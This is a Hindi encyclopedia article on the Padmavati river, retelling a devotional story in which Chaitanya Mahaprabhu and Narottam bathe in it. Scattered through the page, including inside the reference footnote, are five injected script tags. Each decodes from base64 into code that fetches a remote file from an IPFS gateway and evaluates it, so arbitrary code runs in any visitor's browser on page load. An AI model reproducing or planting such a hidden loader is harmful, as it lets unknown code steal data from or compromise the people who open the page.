पद्मावती (नदी)

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
Disamb2.jpg पद्मावती एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- पद्मावती (बहुविकल्पी)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पद्मावती नामक नदी का उल्लेख ब्रह्म वैवर्त पुराण में मिलता है।

महाप्रभु से संबंधित प्रसंग

राजशाही जिले के रामपुर से प्राय: 6 कोस दूर गरिरहाट परगना में खेतुरी नामक गाँव स्थित है। 'प्रेमविलास' में वर्णन है:- कि श्री चैतन्य महाप्रभु कानाई नाटशाला ग्राम में एक दिन कीर्तननृत्य करते-करते खेतुरी की तरफ मुख कर, नरोत्तम! नरोत्तम! नाम ले कर बार-बार पुकारने लगे। भावावेश में प्रभु का मन अस्थिर हो गया। श्री नित्यानंद प्रभु, हरिदास जी आदि पार्षदों ने श्रीमान महाप्रभु का भाव देखकर प्रेम पुलकित चित्त से सोचा, प्रभु के कोई प्रेमपात्र नरोत्तम नाम से, इस देश में प्रकट होंगे और प्रभु उनसे बहुत कार्य करवायेंगे। इसके बाद प्रभु ने 'पद्मावती नदी' में स्नान किया और पद्मावती से बोले की नरोत्तम नामक व्यक्ति को तुम प्रेम दान देना तो पद्मावती बोली, प्रभु मैं उन्हें कैसे पहचानूंगी? महाप्रभु बोले, जिसके नदी में पैर रखते ही तुम में उछाल आये, वही नरोत्तम होगा।

खेतुरी में श्रीकृष्णानंद नामक एक परम भागवत ब्राह्मण वास करते थे। श्री नरोत्तम नित्य ही उक्त विप्र के पास बैठकर श्रीगौरहरि और उनके पार्षदों की चरितकथायें सुनते तथा “हा गौरांग” कहकर प्रेम से भरकर रोदन करते। एक बार श्री नरोत्तम ने स्वप्न देखा की श्रीनित्यानन्द प्रभु उन्हें पद्मावती में स्नान कर श्रीमान महाप्रभु की प्रेमरत्न धरोहर ग्रहण करने का आदेश दे रहे हैं। सुबह उठते ही श्री नरोत्तम पद्मावती में स्नान करने के लिए गए। जैसे ही जल में उतरे, पद्मावती में ज़ोर-ज़ोर से उछाल आने लगा, पद्मावती ने नरोत्तम को पहचान कर श्रीमन्महाप्रभु की धरोहर “प्रेम” उन्हें दान कर दी। वह प्रेम प्राप्त करते ही श्रीनरोत्तम की कान्ति में परिवर्तन आ गया, वे महाप्रेम में विवश होकर आँसुओं से भीगते-भीगते उदंड नृत्य करने लगे।[1]



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. Srila Narottam Das Thakur (हिंदी) krishnapremdharatrust.com। अभिगमन तिथि: 19 मार्च, 2016।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>